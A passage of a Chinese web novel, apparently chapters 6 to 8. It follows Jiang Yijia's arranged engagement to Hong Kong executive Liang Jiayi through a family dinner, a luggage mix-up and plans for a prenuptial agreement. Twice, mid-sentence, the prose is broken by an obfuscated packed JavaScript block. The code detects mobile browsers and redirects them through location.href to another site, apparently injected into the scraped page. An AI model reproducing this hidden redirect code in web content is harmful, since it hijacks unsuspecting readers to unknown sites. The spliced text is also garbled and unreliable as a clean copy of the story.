茶茶刚说完“未婚夫”三个字，望着天花板感叹道：“伊嘉居然真的要结婚了，英年早婚啊，连恋爱都没谈过呢。” 江伊嘉嘀咕：“也没什么可谈的，男性人类嘛，都是那样，差不多的。” 她最早对于爱情的幻想就来自于迪士尼和芭比的各种动画电影。 小时候她亲生父亲带她去过那唯一一次迪士尼，回去之后她就坐在电视机前面把所有相关动画片都看了个遍。 那类动画片的结局都是以一场盛大的舞会结束，公主和王子在所有臣民的见证下举行了婚礼，从此幸福地生活在一起。 但她和这个塑料未婚夫之间，好像就是从结局开始的，未来估计也没什么幸福可言。 在亲爹去世之前，江伊嘉的生活也确实像是童话故事里的公主，所以很容易就代入。 长大些才知道，现实生活中压根不会有完美的“王子”，高度理想化的爱情也并不存在。 有所得必有所失，现在这个结果，对她来说好像已经挺好。 现实可能不是一地鸡毛，而是两片塑料。 - 翌日，吴思婕就把整理好的有关梁家逸的所有资料发给她，其中还包括万泰和梁家的情况。 万泰集团的创始人是梁穆远，也就是梁家逸的大伯公。 按照常理，集团的接班人应该也是他伯公从自己直系的儿孙中挑选，但梁家不论是梁家逸父母那一辈，还是他们这一辈，都没有能堪重用的人。 加上集团里原本的高层全都是梁穆远看重的子女或是其他亲信，前十多年内斗严重，决策屡有失误，加上房地产走势低迷，集团利润也着实不如以前。 现任董事长也很年轻，是梁穆远的亲孙子，梁家逸的堂哥，但港岛圈子里一直有传言，梁穆远对他堂哥并不看重，还有传这个堂哥其实是梁家的私生子。 梁家逸毕业后原本是在英国一家大型能源企业工作，两年时间就凭实力坐到了很高的位置，还带领团队做出了写进教科书的并购案。 而后被万泰新任董事长亲自请回来，任职万泰CEO。 吴思婕大学就是念商科的，各种资料收集的十分详尽，像是一份背调报告。顺便把案例都附在了文件里，重点部分还加黑加粗。 江伊嘉从头到尾翻了一遍，唯一的感受就是…梁家逸这人工作能力是挺强 ，可能是个行走的“印钞机”。 怪不得她爷爷和她堂哥对他的评价都如此之高。 但跟她未来的婚姻好像没太大关系。 回到深城，江伊嘉再次收到梁家逸的消息。 ——告知她可供选择的几个领证日期。 最近的居然就在下个月。 再往后，就要半年之后。 那时江伊嘉正百无聊赖地坐在后勤部的副主管办公室，审批采购岗大姐在办公系统里的保洁用品采购分配清单。 「厉猛牌洁厕灵150ml，500瓶。」 「妙家牌马桶刷，100支。」 「高赛强牌垃圾袋，大号，1500卷。」 …… 江伊嘉对着满屏的保洁用品品牌和密密麻麻的价格，深吸一口气，闭了下眼，回复梁家逸。 1+1+1+1+1+…：【方便的话，就下个月吧。】 到午休时间，梁家逸才回复消息。 一整个上午，江伊嘉莫名内心忐忑，后来摸鱼画稿都心不在焉的。 塑料未婚夫会不会觉得她太着急，太上赶着了？ 会不会要托到半年后，甚至一年后？ 三十六计走为上计，要不这婚还是别结了，她干脆离家出走算了… 梁家逸：【现在可以接电话吗？】 正往外走的江伊嘉看到消息，停住脚步，把办公室的门关好，又走回去。 她“矜持”地多等了十分钟，回复：【可以的。】 手机很快响起。 江伊嘉再次听到那个清冷低沉的声音。 “抱歉，上午在开会。” 江伊嘉咬了咬牙，“没事。” 电话里，梁家逸缓声说：“下个月，是有些仓促。” “……” 江伊嘉心凉了半截，正准备说那半年后也行，不着急。 她开口之前，先听到梁家逸的声音。 “按照礼数，领婚书之前应该先见过双方父母。江小姐这边，家里大概什么时间有空，我提前空出行程。” 江伊嘉刚快凉透的心又重新跳动起来。 虽然他们之间没有爱情，但这坐过山车般的感觉也不亚于爱情了。 如果他们稍微熟一些，江伊嘉一定会半咆哮着告诉他：说话能不能不要欲扬先抑！能不能不要大喘气！ 但他们非常不熟。 刚才塑料未婚夫又叫回“江小姐”了。 江伊嘉控制好语气，保持淡定地说：“好的，我回去问问他们，尽快给你答复。” “嗯。”梁家逸平静道：“那先这样。” 总时长三分钟的电话会议到此结束。 … … 回到家，江伊嘉就把这个问题抛给了他爷爷。 江家人也不少，在这种场合哪些人要出席，她可安排不来。 回到房间，江伊嘉思前想后，还是给她妈妈打了个电话。 她妈妈周惠宁是京市人，当年会跟她的父亲结婚，也是跟她现在相似的情况。 两家有生意上的合作，在长辈的安排之下联姻。 她父亲过世后，江伊嘉的抚养权自然归周惠宁，她跟着去京市周家住了一年，她妈妈就跟从小认识的另一个男人再婚。 江伊嘉出国前几年，跟周惠宁联系得还算多，但毕竟她也组建了新的家庭，跟继父生得儿子也上了小学，正是要人操心的时候。 她和周惠宁通话的频率从一周两次到一个月一次，再到后来，只逢年过节才有问候，渐渐就淡了。 电话拨出，好半晌才接通。 “伊嘉？” 因为久未见面，即使是亲母女，关系也并不亲密。 江伊嘉：“妈…你还没睡吧？” 周惠宁笑：“没呢，就准备这两天给你打电话，问问你回国之后怎么样。你高叔叔前两天还问你要不要回京市。” “等过段时间吧。我回国之后啊…就一直在江盛上班。” 江伊嘉拨了下头发，不太自然道：“你们最近还好吗？” 周惠宁：“挺好的，你弟弟刚考完月考，成绩还不错。高叔叔在公司也挺好的，就是比以前忙了些。” “那就好。” 江伊嘉切入正题：“我准备…准备结婚了，最近我未婚夫要来爷爷家里正式拜访一下长辈，你有空的话，要过来看看吗。” 周惠宁是很温柔的性格，即使惊讶，说话声音都不会大。 电话那边默了一下，问：“这么突然，以前也没听你提起过有交男朋友，是哪家的男孩儿？” 江伊嘉回答是梁家逸的名字和身份。 “港岛…梁家啊。是你爷爷安排的吗？” “是。” 周惠宁又安静了片刻，电话那边有开关门的声音，应该是进了另一个房间。 她轻声说：“伊嘉，婚姻大事，还是慎重考虑得好。当年我跟你爸的情况，你也知道…如果你也不想结，我跟你高叔叔想办法，跟你爷爷好好说说。” 江伊嘉抿了抿唇，轻呼出一口气。 “我也没有不想…”其余的似乎也不用多解释，她只道：“梁家逸人也挺好的，我都考虑好了的。” 周惠宁也没多劝，“好。那等时间定了告诉我，我去趟深城。” 挂断电话，江伊嘉躺在床上，不由想到很多小时候的事。 她放下手机，看着窗外的月光，一时间心情有点低落。 脑中莫名浮出前不久梁家逸说的那句话，让她安心了些许。 ——尽可能和睦相处，如果不行，好聚好散。 这样很好。 至少，肯定不会像当年她父母那样。 * 梁家逸来深城的日子定在了月末的周五。 来之前，他还跟江伊嘉打过一通电话，公事公办的态度，问她和家里长辈、亲戚的喜好。他需要提前备礼。 江伊嘉想起上次在港岛见面时，他放在桌上的笔记本。 他既然是当成工作来办，那上门拜访家长的各个流程也必然不会出错。 那通电话里，梁家逸还顺带问了她对结婚戒指的要求，应该是提前做过了解，问她是否有偏好的品牌，或者设计师等等。 如果是真的男朋友，从恋爱自然过渡到结婚，江伊嘉也许会夸一句这男人真贴心。 但眼下这种情况，只能说明梁家逸心思缜密，行事作风周到守礼。 约定日期的下午，江伊嘉提前下班，还去专门做了个发型，回家后重新化妆，换上礼服裙。 虽然是在家里吃饭，但江济康几通电话打出去，叫来江家二十多号人。 这还是只是跟她关系稍近些的，什么姑姑伯伯、堂哥堂嫂、表哥表妹，以及几个比她小一辈的小孩。 江伊嘉磨磨蹭蹭在房间里梳洗打扮地差不多，佣人也过来敲门了。 一楼客厅和餐厅里都站着人，几个小孩互相追着跑来跑去。 江家人多，梁家逸孤身赴宴，阵仗也不小。 帮他拿礼品的助理保镖也进来七八个，手里大包小包的礼品袋，能把楼下的沙发都堆满。 以江济康为首，一众亲戚拥着他，好不热闹。 即使是这种场合，梁家逸表现的也很从容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309933|167243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 身着一身灰色的西装，身形笔挺，短发梳理得一丝不苟，带着社交时的标准微笑，在江济康的介绍下，跟江家一众人一一握手交谈。 江济康见到江伊嘉下楼，马上招手叫她。 “伊嘉，怎么回事，家逸都来了，满屋子人就你这个主角来得最晚。” 江济康转头对着梁家逸笑说：“伊嘉这孩子，因为你要来，一回家就钻进房间里收拾打扮。” “……” 因为什么所以？正式场合，她好好打扮一下不是很正常吗。 江伊嘉踩着高跟缓步走过去，看着他清俊的面容，憋出一句或许能体现出他们没那么陌生的话：“…来了啊。” 梁家逸偏头，目光落在她身上。 女孩穿了身银灰色的吊带裙，跟他的西装外套是同一色调，锁骨清晰分明，脖颈白皙纤细，妆容偏淡雅，一双眼睛像小鹿一般，嘴唇是很自然的红色。 靠得近了，能闻到清甜的香水味。 梁家逸轻“嗯”了声，声线没什么起伏：“很漂亮。” “……” 夸的一点都不走心。 很快，江济康带着一众人去餐厅落座。 家里许久没聚齐过这么多人，偌大的圆桌也显得有些拥挤。 江伊嘉自然是跟梁家逸坐在一起，她妈妈周惠宁坐在她另一侧。 似乎有点超过以往的社交距离，她抬胳膊的动作稍微大些，就能碰到梁家逸手臂处硬质的西装面料。 饭桌上，她和梁家逸是主角。 这种场合，能聊的话题一般都是查男方户口，或者说女方的成长经历。 江济康对梁家逸知根知底，不需要查户口。 所以饭局全程，所有亲戚基本都在说她。她出国上学期间的事大家都不知道，就只能说她小时候的事。 她大姑笑说：“就说时间过得快呢，总觉得伊嘉还小，转眼这都要结婚了。” 她二姑：“就是啊。家逸你还不知道，伊嘉小时候特别爱看那些小公主的动画片，还跟我们说，她长大之后一定会嫁给王子。” “……” 救命了。 江伊嘉抬了下头：“那都是几岁的事了，二姑，别揭我短行吗？” 二姑笑：“又没外人在，说这些有什么。你跟家逸马上也是一家人了，说不定他也好奇你小时候的事呢。” 连她妈妈都跟着说道：“伊嘉从小就长得漂亮，幼儿园的时候班上小男孩就老给她送零食，好几次书包都被塞满了。” 话毕，她刚上幼儿园的小外甥女好像忽然听懂了似的，自顾自鼓起了掌，看着梁家逸说：“小咦呼，小姨夫好漂酿！” 众人都被逗笑。 江伊嘉微微偏头，偷瞄了眼梁家逸。 看到他脸上第一次露出带有些许真诚的笑意。 这冰山扑克脸居然还挺喜欢小孩的吗？ 因为人多，这顿饭吃的算是十分热闹。 除了江伊嘉之外，应该也没人感觉到尴尬，都挺自然的。 酒过三巡，餐厅里的孩子都坐不住开始乱跑了，她也站起身，出了餐厅往外走。 今晚梁家逸喝了挺多酒，不少亲戚轮番跟他碰杯。 他酒量应该不错，一杯接着一杯在喝，脸都不带红的，问他什么也能应对自如。 江伊嘉其实喝得不多，也就他爷爷提酒全家人一起碰杯时喝了些。 但她酒量差，酒品不好，自知喝多了之后什么德行，有点醉意就赶紧出来醒酒，避免在这种场合丢人。 江伊嘉穿着细高跟走路也不舒服，到院子里溜了一圈，就进屋，往餐厅旁边的洗手间走，打算照个镜子。 刚拐了个弯，就看见梁家逸正站在洗漱台前洗手。 江伊嘉就靠在墙上等。 两人在镜子里对视一眼。 出于人道主义，江伊嘉问：“还好吗，是不是酒喝得有点多？” 梁家逸关了水，清淡地说：“有点。” 江伊嘉拿起手机看了眼时间：“应该差不多了，我爷爷平时睡得也早。” “没事。” 梁家逸转身，“也不急。” 家里洗手间地面的瓷砖都是防滑设计，这一看是平整的，实则凹凸不平。 这对穿着细高跟的江伊嘉就很不友好。 她看梁家逸洗完手要出去，抬腿往洗漱台前走。 “欸…” 也许是喝了酒头也有些晕的缘故，江伊嘉鞋跟一滑，整个身子往前倒过去。 梁家逸及时伸手。 但江伊嘉也不想在自家洗手间摔个狗吭泥，下意识捞了一把，抓住什么东西。 她站稳之后抬头，才发现抓得是梁家逸的领带。 而且她可能有点用力了，梁家逸微微皱眉，上半身都被她拽着往前倾。 一时间两人的距离比刚才餐桌上还要近。 男人今天没戴眼镜，江伊嘉好像也是第一次这么近距离看到他的眼睛，薄薄开扇的双眼皮，眼尾狭长，眼型很好看。 他身上清冷的木质香味被酒味盖住一些，两者杂糅在一起，给他添了几分烟火气。 “伊嘉。” 梁家逸也看着她，嗓音清清淡淡的，语气偏温和：“可以先松开我的领带。” “……” 7. Chapter 7 江伊嘉也是这时才意识到自己没松手，像被开水烫了的贝壳似的，瞬间张开手。 真是喝多了，思维动作都有点迟缓。 视线下移，她看到男人被扯得有些皱痕的领带，还有明显松了的衬衫领口。 江伊嘉脸色一赧，拨了下头发，“…对不起啊。” “没事。” 梁家逸低头看了眼她的鞋，白皙的脚背露在外面，裙子的长度在膝盖附近，小腿笔直修长。 他很快便移开目光，刚扶她胳膊的那只手也绅士地收回去，平声提醒：“小心一点，地上滑。” 说着，抬手整理被扯乱的领带和衬衫。 江伊嘉又看了眼镜子，不太自然地摸了下耳朵，先一步出了洗手间。 - 晚饭后，江老爷子好像还未尽兴，送走江家一众人后，拉着梁家逸去书房喝茶赏画。 周惠宁也没走，江伊嘉自然是陪着妈妈，没跟那两个男人一起去。 江济康文化程度不算高，当年是从部队退伍后才开始经商，年轻时赶上好时代，一直走南闯北，也没什么心思培养读书、赏花这类的风雅爱好。 近些年得了闲，又受身边老朋友的影响，才喜欢上这些水墨古玩一类的，去各种拍卖会上弄回来一屋子收藏品。 江家年轻人都对这些没兴趣，江济康也没想到，梁家逸倒是能跟他谈论一二。 甚至比他懂得还多，画作笔法、古董品相、收藏价值，都能聊几句。 江济康对这个孙女婿更是满意，带着他看到收藏品，让佣人添了茶，叫他坐在会客用的沙发椅上。 “家逸，你父母是教什么专业的？” 梁家逸放下茶杯，回答：“父亲是研究中国古代文学，母亲是世界史。” 江济康点点头，笑说：“书香门第啊。” “最近跟伊嘉相处的还好吧？这姑娘从小娇生惯养的，平时小毛病是有点多，但心眼好，结婚之后还得你多担待。” 梁家逸应得滴水不漏，礼貌道：“谈不上‘担待’，伊嘉性格很好。” “她这孩子就看着乖，其实鬼主意多着呢，以后就知道了。” 江济康停顿须臾，叹一声气：“伊嘉她爸走得早，她妈妈今天你也见了，跟她不是很亲。她家里的情况你也了解过，我现在一把年纪了，现在最放不下的就是这个孙女。这婚事定的是有点仓促，但往后日子就是你们自己的，你们都还年轻，以后遇上什么事，都互相照应。” 梁家逸郑重地点头：“江爷爷放心，我会好好照顾她。” “当然放心你，不然也不会定下这桩婚事。” 江济康神色缓和了些，半开玩笑的语气：“但以后也不要太惯着她。你比她大几岁，性格也比她稳重得多，她有什么做的不对的你就只管说，别事事都让着她。” 梁家逸未言语，动作慢条斯理地给江济康添了杯茶。 - 周惠宁明早的飞机回京市，江伊嘉跟她说了会儿话，就把人送了出门。 她正在房间里无所事事的时候，房门被敲响。 听到她爷爷的声音。 “伊嘉，送送家逸。” “哦，来了。” 就像小时候那场饭局上两家长辈说的，他们俩这名字取的还真挺顺。 江伊嘉在梳妆台前照了下镜子，过去扭开房门。 夜色渐沉，江家老宅外面有一片很大的院子。 近几年老爷子也有空打理，到处种着花花草草什么的，带着湿气的风吹过来，还能听到吱吱的虫鸣声。 家里其余亲戚都回去了，这会儿院子里只有他们两个人。 梁家逸走在她身边，似是照顾她穿着高跟鞋，步伐放慢了些。 江伊嘉随口问：“你什么时候回港岛？” 梁家逸嗓音清淡道：“明天。” “是还有其他什么事吗？” 他以为她还有其他安排。 江伊嘉：“…没。” 这天好像完全聊不下去的样子，她相信他之前从没交过女朋友了，典型的直男聊天方式。 空气再度陷入寂静。 这种时候，就显得她家院子特别大，距离院门前停车的位置还有好长一段。 江伊嘉喝多酒的最明显症状就是话多。 今晚只是微醺，她尚且能控制，没到絮絮叨叨说个不停的程度，但有点忍不了这样沉默的气氛。 江伊嘉顺着刚才的思路，又开口：“对了，你之前为什么没谈过恋爱？” 梁家逸偏头，看她一眼，简短道：“没时间，也没必要。” “……” 但很难得的，梁家逸也能礼尚往来抛出一个问题。 “你呢。” “我也没啊…” 江伊嘉脑袋轻飘飘的，端庄的大家闺秀架子有点绷不住，脱口而出说了大实话。 “我看不上别人。” 话说出口，她才后知后觉意识到这回答可能有歧义。 她的重点在“看不上”三个字，但也可能被听者误认为重点是“别人”。 江伊嘉皱了皱眉，转头，正好对上男人的目光。 她立刻把头扭回去，下意识想解释：“也不是…” 也不是看不上别人，就看上你这个意思。 但这么说似乎更不对。 江伊嘉放弃了。 她从小到大第一次觉得跟人聊个天居然可以这么艰难。 好在，已经到了院门前停车的位置。 梁家逸也没有要追问的意思，又或许，对她根本就不好奇。 司机从那辆黑色宾利的驾驶位出来，帮他拉开后排的车门。 简单告了个别，江伊嘉如释重负般轻呼出一口气，礼貌目送这位性冷淡未婚夫离开。 ** “他应该就是上学的时候我完全不会认识的那一类人了！根本没法聊天，人特别闷，话特别少，脸上就好像写着‘在忙，无事勿扰’几个大字！” 隔天早上起床，吴思婕和茶茶在群里发起通话，问她饭局的情况，江伊嘉如是回答。 吴思婕笑说：“那不是正好吗，来港岛之后你也忙，你们就各忙各的，平时谁都别打扰谁。” “对啊。” 江伊嘉趴在枕头上，“你说得很有道理，我一开始也是这么想的，以后就这么凑合过吧。” 此时茶茶提了个很尖锐的问题。 “但你们是结婚欸，又不是拼租，你搬来港岛跟他住一起之后，夫妻生活总得有吧？” 坦白说，婚事定下后，江伊嘉还从来没想到过这个问题。 就算是前几天晚上看台湾某粉红色小网站，也不曾代入过她这位活生生的未来老公。 世界上可能是存在这样的男人，样貌无可挑剔，身材按客观标准来看，也是极具性张力的，长得高，有肌肉，肩膀很宽，身上的味道还挺好闻。 但就是不会对他产生什么想法。 因为这人看起来太正经太清贵了，不食人间烟火，好像作为正常男性的生理需求和冲动也已经被他进化掉。 江伊嘉嘴角抽了抽，“…我很难想象到画面。” 她猜测：“如果有，他可能是那种，会把‘今晚夫妻生活’这个事项提前写在笔记本上。开始之前会看一眼时间，然后面无表情地告诉我，他一会儿还有事，半小时之内必须结束。” 茶茶笑得很大声：“救命，不至于吧。按照经验，平时越闷的男人那种时候反而越反差，要不然有个词叫‘闷骚’呢。” 江伊嘉没好气道：“你那是小黄文里的经验，跟我这现实能混为一谈吗。而且，‘闷骚’是这么理解的？” 插科打诨后，两人开始催她赶紧搬去港岛。 既然都正式见过家长了，未婚夫妻的身份也就算是确认了，去港岛就有名正言顺的理由。 江伊嘉深以为然。 周一下班后，就跟江济康提起了这件事。 江济康这几天心情很好，还又亲自去了趟花鸟虫鱼时长，拎了几个鸟笼回来挂在书房养。 江伊嘉走进书房，试探着问：“爷爷，集团后勤部那个工作，要不我最近把离职办了？” 江济康睇她一眼：“急什么，那工作那么轻松，你还不乐意干？” 江伊嘉来之前就打好了腹稿，靠在墙边，语气软软道：“我这不是下个月就要结婚了吗，现在跟梁家逸就见过几面。反正后勤那个岗位也不太需要我，我想着就趁这段时间先去港岛，找时间跟他多熟悉熟悉。不然到领证的时候我俩还不熟，多尴尬啊。” 江济康眉毛一横：“你给我站直了，别靠在那歪歪扭扭的，像什么样子。” “…哦。”江伊嘉挺直背。 “女大不中留啊，这还没嫁出去呢，就已经想着往外跑了。” 江济康感慨完，又顺带自我标榜了一波：“现在知道梁家逸好了吧，当初跟你说的时候还不乐意，爷爷吃过的盐比你吃过的饭还多，看人眼光准着呢，能委屈你吗？” 江伊嘉假惺惺说：“当然不能啊，我开始就是没反应过来而已。” 江济康气顺了，放下逗鸟的麦秸秆，转身看向她：“行吧，不想干就去办离职，让你去集团就是历练历练，收收心，也没打算让你在那久干。” 江伊嘉抿住嘴角，内心已然先雀跃起来。 江济康又叮嘱了一堆，让她领证之前住到九龙塘那套空置的别墅，婚前别跟梁家逸同居，女孩子家家显得不矜持云云。 江伊嘉本来也没想着提前同居，她打算去找吴思婕住。 跟茶茶不同，吴思婕回国之后就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309934|167243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自己独住，房子虽然不大，但足够她过去同住，也方便跟她商量工作室的事。 江伊嘉很快就去公司办好了离职手续，摆脱后勤部那一摊子杂事，回到老宅收拾行李。 她整理东西和搬家是项大工程。 老爷子管她管的严，但经济上从来没苛待过她。 即便是跟周惠宁去京市住的那几年，老爷子也按月给她转巨额的生活费，出国之后就直接给了她两张信用卡，限额高到她可以直接在学校附近刷卡买两栋小洋楼。 江伊嘉花钱也一向大手大脚，碰上喜欢的包包或者首饰，都是整个系列一起买，同款不同色的也要收集全。 在消费习惯方面，她是名副其实的千金大小姐做派。 江伊嘉毕业从美国把行李寄回来前，就找专业的收纳公司帮她整理装箱，拾掇了整三天。 现在江家老宅，除去她自己的卧室，还有单独的一个衣帽间和储物间，放的都是她的东西。 不出意外，江伊嘉会在港岛定居，打算把东西尽量都搬过去。 但这次就不能找收纳公司的人上门，否则她爷爷又要念叨。 在佣人的帮助下，江伊嘉花了快一周时间打包，盯着三间屋子里堆成小山的纸箱。 她沉思几秒，确信吴思婕现在住的房子放不下。 于是，她给梁家逸发了条消息。 1+1+1+1+1+…：【我可以让人把行李先送去那套房子吗？】 两小时过后，梁家逸回复消息：【好，地址你还有吗？】 江伊嘉迅速说：【有的～】 - 江伊嘉的东西都很宝贝，让家里的司机专人专送，安排一辆货车，中午出发，傍晚下班时间就抵达港岛。 那时梁家逸还在万泰总部的办公室，接到司机电话，说江小姐的东西已经送到澜湾公馆门口。 他桌上还有没处理完的文件，打内线电话叫助理阿文进来，替他跑一趟，去澜湾公馆帮司机把东西搬进公寓。 阿文回来时，只说：都搬好了，不方便让司机进去，东西暂时都放在玄关和客厅。 梁家逸处理完工作，下班回到公寓。 打开门的瞬间，在原地顿住脚步。 他没想到江伊嘉送来的行李会那么多。 玄关被大大小小的纸箱堆满，再往前，客厅一半的地面也是各种纸箱。 梁家逸换了鞋，从纸箱间侧身通过，拿出手机，拨了江伊嘉的电话。 那边很快接起。 江伊嘉：“司机说东西已经送到了，你收到了吧？” 梁家逸坐在沙发上，看着周围的景象，轻“嗯”了声，问：“你准备什么时候搬过来。” 电话里，江伊嘉似是为难的语气，慢吞吞地说：“啊…最快也得下个月，领证之后吧。我爷爷说，婚前不能跟你同居。” “……”梁家逸静了两秒，“不是催你。” 他缓声说：“我的意思，这些东西是等你搬来再收拾，还是需要人帮你先拆开整理好。比如，里面有没有生鲜易腐坏，或者不能久压的。” 江伊嘉也顿了片刻，才说：“哦，没有会放坏的，不能压的啊…包包都放在盒子里的，对了，方便的话，装毛绒的箱子帮我先拆了吧。那些我是直接塞的，放久了可能会压扁。” 梁家逸起身，垂眸看了几个箱子的四周，没看到标签之类的标注。 他温声问：“哪个箱子装的是，毛绒？” 江伊嘉：“好像是个不大不小的，大概…这么大吧。” 梁家逸沉默。 对面也很快意识到他看不见她的比划，改口：“…就是稍微有点鼓起来的，不是最大也不是最小，比其他箱子轻一点。你拆开就能看到里面都是玩偶，毛绒绒的。” 梁家逸揉了揉眉心，“好，我找一下，剩下的就先放储物间，等你搬来再收拾？” 江伊嘉好像心情不错，尾音声调都是上扬的，笑着说：“好呀，谢谢，麻烦你了啊。” … … 挂断电话，梁家逸不打算等明天保洁上门，先粗略收拾一下，至少把她说的东西取出来摆好，再把堵住门的箱子挪开。 他从抽屉里取出剪刀，找到一个符合江伊嘉描述的箱子，轻划开。 果然看到白色毛绒绒的东西。 公寓里只有他一个人，客厅吊顶上的灯光很亮。 梁家逸放下剪刀，伸手，拿出那团白色的东西。 拎出来才看到，并不是什么毛绒玩偶。 而是女士的内衣。 两片圆形毛绒布料，上面有粉色小草莓的图案，隐约还能闻到清甜的香水味。 梁家逸迅速把它放回去。 他微皱眉，从手机里找出那个紫色头像。 【伊嘉。】 8.Chapter 8 收到消息时，江伊嘉正在房间里收拾最后的随身行李，看着地上已经装好的两个拉杆箱，心情甚为愉快，仿佛已经嗅到自由的气息。 她拿起手机回复梁家逸：【怎么了？】 梁家逸：【你说的那些物品，等明天我让阿姨过来帮你整理。】 江伊嘉回了个“好的”，完全不觉得意外。 梁家逸这种分分钟百万上下的大忙人，哪有闲工夫亲自帮她整理东西，让阿姨收拾才是正常。 切出梁家逸的聊天框，江伊嘉她们姐妹三人的小群也正热闹，吴思婕和茶茶已经在安排等她去港岛之后的行程。 除了工作之外，还计划着要去哪里玩、带她认识哪些新朋友。 她们三人的小群群名叫“祖孙三代”，名字大有来由。 江伊嘉高中刚去美国的时候，她堂哥受老爷子所托，亲自去加州给她找了个寄宿家庭。 那家女主人是大学教授，男主人开私人诊所，都是四十多岁的中年人，住在南部的富人区，不仅有钱，修养和品行也无可挑剔。 她堂哥还担心她一个人在国外会孤单，跟男女主人商量，招了个同龄的留学生跟她同住。 这个室友就是吴思婕。 江伊嘉刚出国的时候，确实是十指没沾过阳春水，生活自理能力极差。 从小不论在江家，还是跟随母亲去京市，干什么都有住家保姆伺候。 吴思婕家境也不错，父母都是企业高管，把她培养的相对独立些。 入住寄宿家庭的第一天，江伊嘉吃不惯寡淡的白人饭，晚餐就咬了两口牛排，时差原因，晚上也睡不着觉，熬到大半夜饿得前胸贴后背，去厨房翻箱倒柜，找到一袋麦片和酸奶，倒到碗里带回房间吃。 不料，酸奶麦片碗被她打翻在床上，弄得一片狼藉。 江伊嘉找不到换洗的床单，甚至都不知道床单该怎么换，半夜敲响女主人的房门。 女主人来看了一眼，大概认知力不存在十六岁的女孩不会自己换洗床单这种情况，说一口标准的美式英语，表情夸张地感叹：哦上帝，一个有教养的淑女不会晚上在卧室的床上吃东西，快收拾干净。 感叹完，她人就走了。 江伊嘉吃不饱又没地方睡，艰难地把床单拆下来之后，发现下面的床垫也是湿的，先抱着床单去了洗衣房。 她对着机器上面的按键戳了半天，也不知道该怎么用，万般无奈之下，只能去敲跟她同天入住的室友的房门。 吴思婕打开门，就看到江伊嘉无措的小模样，怀里还抱着一团床单，弱小可怜又无助。 江伊嘉从小就长得漂亮，十六岁时脸颊上还带着点婴儿肥，皱着鼻子，眼眶发红，任谁看了都心软。 吴思婕的保护欲也油然而生，让她先跟她挤一晚，次日再教她怎么换洗床单、晒床垫。 从那之后，两人的革命友情正式建立。 后来江伊嘉在国外生活能自理，全靠吴思婕手把手教她带她，比她亲妈还有爱。 而茶茶跟江伊嘉是在大学申请季去美国的飞机上认识的，也是娇生惯养长大，情况跟她十六岁刚到美国时一模一样。 …… 翌日，江伊嘉就迫不及待地动身去港岛，住进吴思婕的小房子里。 她放下行李箱，往沙发上一摊，感慨道：“好像突然回到大学的时候了。” 大学期间就是她们三个人在校外的公寓同住。 那公寓是她堂哥买的，面积也跟吴思婕现在这套差不多。 吴思婕笑说：“茶茶不在，就我们俩，更像是高中的时候吧。” 江伊嘉嘴角一抽，摇头：“高中还是算了吧，当时我日子过得多凄惨啊，尤其一开始，什么都不会，沟通也有障碍。” 回忆往昔艰难岁月，她身子歪过去抱住吴思婕：“全靠有你，我才能顺利活到现在。” 江伊嘉叹了声气：“要是能一直跟你住一起就好了。” “我当然一万个愿意。” 吴思婕笑了下，意味深长地说：“但是，伊嘉小公主被我霸占的话，你的未来老公可就得独守空房了——” 江伊嘉轻哼一声，“谁管他啊。今天大喜的日子，咱们俩把日子过好比什么都强。” ** 江伊嘉提前来港岛这件事，梁家逸是从爷爷那里听说的。 那天江伊嘉为行李的事联系过他，但没有说起她人也要过来。 为避免误会，梁家逸也没多过问，只在工作之余，安排婚前其余的流程。 譬如，让他正在英国访学的母亲提前回来，再如托人找法国的珠宝设计师，催他定做的结婚戒指。 两家是商业联姻，领取婚书的当日，结婚登记处还要有媒体在场，具体的人员和资质，他也要提前把关。 这天万泰高层例行的工作会议结束，梁家逸收到两个朋友的消息，都是从小就认识的。 黄越泽：【这个月赵毅要回港岛，你还记得吧，就大学跟你一个学校，比你高两级那个，之前你伯公还想把他妹妹介绍给你。他约我们18号去浮潜，他妹也去，特意点名让我把阿逸叫上。我看了下18号刚好是星期天，怎么说，你俩都能去不？】 郑启朗：【我ok啊，星期几都没问题。】 梁家逸并不记得什么赵毅，更不记得他妹妹。 他不用看日程表或者备忘录，回复道：【你们去吧，那天我有事。】 黄越泽：【又是加班还是出差？钱是赚不完的，你热爱工作也得有个度。】 梁家逸回答：【18号我结婚。】 群聊里片刻的安静后。 已婚未育的黄越泽：【行吧，那我也不去了，我老婆生三胎。】 未婚的郑启朗：【哦，突然想起来，我18号也有事，我预约了要去办离婚来着。】 “……” 梁家逸把手机熄屏放一边，摘下眼镜，揉了揉眉心。 古语有云，物以类聚，人以群分。 他不明白自己为什么会有这样两个朋友。 没清净多久，他私人律师的电话又打进来。 “梁总，上次您让我拟的婚前协议，已经都准备好了，劳烦您先过目。” - 离开江家老宅的江伊嘉，就像是鱼儿回到了自由的大海。 来港岛的一周，她白天去工作室盯装修，晚上跟吴思婕和茶茶参加各种聚会，或者去商场扫店购物。 再接到梁家逸的电话，是跟她约时间签婚前协议。 婚前协议中需要的资料，江伊嘉在深城时就给梁家逸发过。 无非就是她婚前财产的详细信息，十几分钟就能搞定。 这工作狂未婚夫大概也意识到，约在集团办公室过于官方和正式，所以这次跟她约了个晚餐时间，地点就在万泰总部附近，一家隐私性很好的高档餐厅。 但也比在办公室好不到哪去。 